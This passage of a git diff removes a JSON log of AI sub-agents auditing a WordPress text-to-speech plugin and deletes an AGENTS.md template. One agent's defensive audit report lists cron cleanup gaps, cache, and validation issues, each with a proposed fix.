XSS - are all echo/printf outputs escaped?\n3. Input sanitization - does the sanitize_settings function validate every field?\n4. Path traversal - any file operations without validation?\n5. SQL injection - any direct DB queries without wpdb->prepare?\n6. Cache key validation in AJAX delete handler\n\nReport every finding with line numbers.", - "assignment": { - "objective": "Read includes/class-settings.php and audit for security vulnerabilities. Check:\n1. AJAX handlers - are nonces verified? Are capabilities checked?\n2. XSS - are all echo/printf outputs escaped?\n3. Input sanitization - does the sanitize_settings function validate every field?\n4. Path traversal - any file operations without validation?\n5. SQL injection - any direct DB queries without wpdb->prepare?\n6. Cache key validation in AJAX delete handler\n\nReport every finding with line numbers." - }, - "model": "deepseek-v4-pro", - "nickname": "蓝鲸", - "status": "Running", - "result": null, - "steps_taken": 0, - "duration_ms": 365005, - "allowed_tools": [], - "updated_at_ms": 1778432808495, - "session_boot_id": "boot_6190b158-023" - }, - { - "id": "agent_e4b271e4", - "agent_type": "general", - "prompt": "Read includes/class-plugin.php and uninstall.php. Audit for security. Check:\n1. Activation/deactivation hooks - any unsafe operations?\n2. Cron job security (auto-generate)\n3. Uninstall - does it clean up properly without leaving orphans?\n4. Any direct filesystem writes?\n\nReport every finding with line numbers.", - "assignment": { - "objective": "Read includes/class-plugin.php and uninstall.php. Audit for security. Check:\n1. Activation/deactivation hooks - any unsafe operations?\n2. Cron job security (auto-generate)\n3. Uninstall - does it clean up properly without leaving orphans?\n4. Any direct filesystem writes?\n\nReport every finding with line numbers." - }, - "model": "deepseek-v4-pro", - "nickname": "Fin", - "status": "Completed", - "result": "I now have all the evidence I need. Here is the full security audit.\n\n---\n\n### SUMMARY\n\nAudited `includes/class-plugin.php` and `uninstall.php` for security across activation/deactivation hooks, cron job safety, uninstall completeness, and direct filesystem writes. Found one significant issue: uninstall.php fails to clean up pending `piperless_auto_generate` one-shot cron events, leaving orphaned cron jobs that will fire after plugin removal, causing fatal errors. Also found that the deactivation hook clears a cron hook (`piperless_daily_cleanup`) that was never registered anywhere in the codebase — dead code with no effect. The activation hook and the cron callback are otherwise reasonably safe. All filesystem writes use hardcoded content or go through WordPress APIs with proper `@` suppression and error logging.\n\n### EVIDENCE\n\n- `piperless.php:76-158` — Activation hook: PHP/WP version checks, `wp_mkdir_p()` for uploads dir, `@file_put_contents` for `.htaccess`/`index.php`, `update_option` for defaults\n- `piperless.php:165-167` — Deactivation hook: only calls `wp_clear_scheduled_hook( 'piperless_daily_cleanup' )`\n- `includes/class-plugin.php:94-95` — Cron action registered: `add_action( 'piperless_auto_generate', [ $this, 'do_auto_generate' ] )`\n- `includes/class-plugin.php:136-166` — `maybe_auto_generate()`: checks `auto_generate_on_publish` setting, `transition_post_status` states, post type filter, existing audio guard, schedules `wp_schedule_single_event( time() + 5, 'piperless_auto_generate', [ $post->ID ] )`\n- `includes/class-plugin.php:172-181` — `do_auto_generate()`: re-checks for existing audio, calls `$this->transcriber->generate( $post_id )`\n- `uninstall.php:20` — Deletes `piperless_settings` option\n- `uninstall.php:22-41` — Direct `$wpdb->delete()` on `$wpdb->postmeta` for 7 meta keys\n- `uninstall.php:43-58` — Recursive directory deletion of `/piperless/` uploads\n- `uninstall.php:63` — `wp_clear_scheduled_hook( 'piperless_daily_cleanup' )`\n- `uninstall.php` — No call to clear `piperless_auto_generate` events (confirmed by full-file read and `grep_files` across 53 files)\n- `grep_files` for `piperless_daily_cleanup` — Only matched `piperless.php:166` (clear on deactivation) and `uninstall.php:63` (clear on uninstall); no `wp_schedule_event` or `add_action` registering this hook anywhere in the codebase\n- `grep_files` for `wp_schedule_event` — Zero matches across all 53 PHP files; the only cron scheduling is `wp_schedule_single_event` in `includes/class-plugin.php:164`\n- `grep_files` for `fwrite|fopen|file_put_contents|WP_Filesystem|mkdir|file_get_contents` — 27 matches across `piperless.php`, `class-piper.php`, `class-logger.php`, `class-cache-manager.php`, `class-settings.php`, `class-gutenberg.php`, `class-transcriber.php`; all uses are on known/controlled paths\n\n### CHANGES\n\nNone. This task was read-only audit; no files were modified.\n\n### RISKS\n\n- **Orphaned cron events on uninstall** (`uninstall.php`): `piperless_auto_generate` one-shot events are never cleared. After plugin deletion, WordPress will still try to fire these events, which will call `do_auto_generate()` — but the class won't be loaded, resulting in a fatal error. Mitigation: add `wp_clear_scheduled_hook( 'piperless_auto_generate' )` (no args, to clear all) and loop `wp_unschedule_event` for any with specific `$post_id` args.\n\n- **Orphaned cron events on deactivation** (`piperless.php:165-167`): Same issue — deactivation only clears `piperless_daily_cleanup` (a hook that doesn't exist), leaving `piperless_auto_generate` events in the queue. Mitigation: clear `piperless_auto_generate` on deactivation as well.\n\n- **Dead code — `piperless_daily_cleanup`** (`piperless.php:166`, `uninstall.php:63`): Both deactivation and uninstall clear a cron hook that is never registered via `wp_schedule_event()` or `add_action()`. This has no security impact but indicates incomplete implementation — possibly a daily cleanup feature that was planned but never built.\n\n- **Direct `$wpdb->delete()` bypasses post meta cache** (`uninstall.php:32-39`): Using raw SQL on `$wpdb->postmeta` instead of `delete_post_meta_by_key()` or `delete_metadata()` means the WordPress object cache is not invalidated. If the uninstall runs while other requests are active, stale meta could be served briefly. Mitigation: use `delete_post_meta_by_key()` in a loop, or call `wp_cache_flush()` after the direct deletes.\n\n- **`do_auto_generate()` has no capability check** (`includes/class-plugin.php:172`): The cron callback accepts a bare `int $post_id` and proceeds to generate audio. In normal cron context this is fine (no user context), but if an attacker can trigger WordPress cron externally with a crafted `$post_id`, they could cause resource exhaustion (CPU/disk via Piper TTS). Mitigation: validate `get_post( $post_id )` exists and `get_post_type( $post_id )` is in the allowed post types before calling `generate()`.\n\n- **`@` suppression on uninstall filesystem ops** (`uninstall.php:55-56`): `@rmdir` and `@unlink` are suppressed in the recursive deletion loop. If deletion fails silently (e.g., permissions), orphaned files remain with no log entry. Mitigation: log failures using `error_log()` or `wp_delete_file()` / `$wp_filesystem` instead.\n\n### BLOCKERS\n\nNone. Task completed — all four audit areas covered with line-numbered findings.", - "steps_taken": 7, - "duration_ms": 325942, - "allowed_tools": [], - "updated_at_ms": 1778432808495, - "session_boot_id": "boot_6190b158-023" - } - ] -} \ No newline at end of file diff --git a/.gitignore b/.gitignore index 8a9e9e2..d80c6c2 100644 --- a/.gitignore +++ b/.gitignore @@ -5,3 +5,5 @@ build/ # OS files .DS_Store Thumbs.db +.deepseek/ +AGENTS.md diff --git a/AGENTS.md b/AGENTS.md deleted file mode 100644 index ea13282..0000000 --- a/AGENTS.md +++ /dev/null @@ -1,19 +0,0 @@ -# Project Instructions - -This file provides context for AI assistants working on this project. - -## Project Type: Unknown - - - - -## Guidelines - -- Follow existing code style and patterns -- Write tests for new functionality -- Keep changes focused and atomic -- Document public APIs - -## Important Notes - -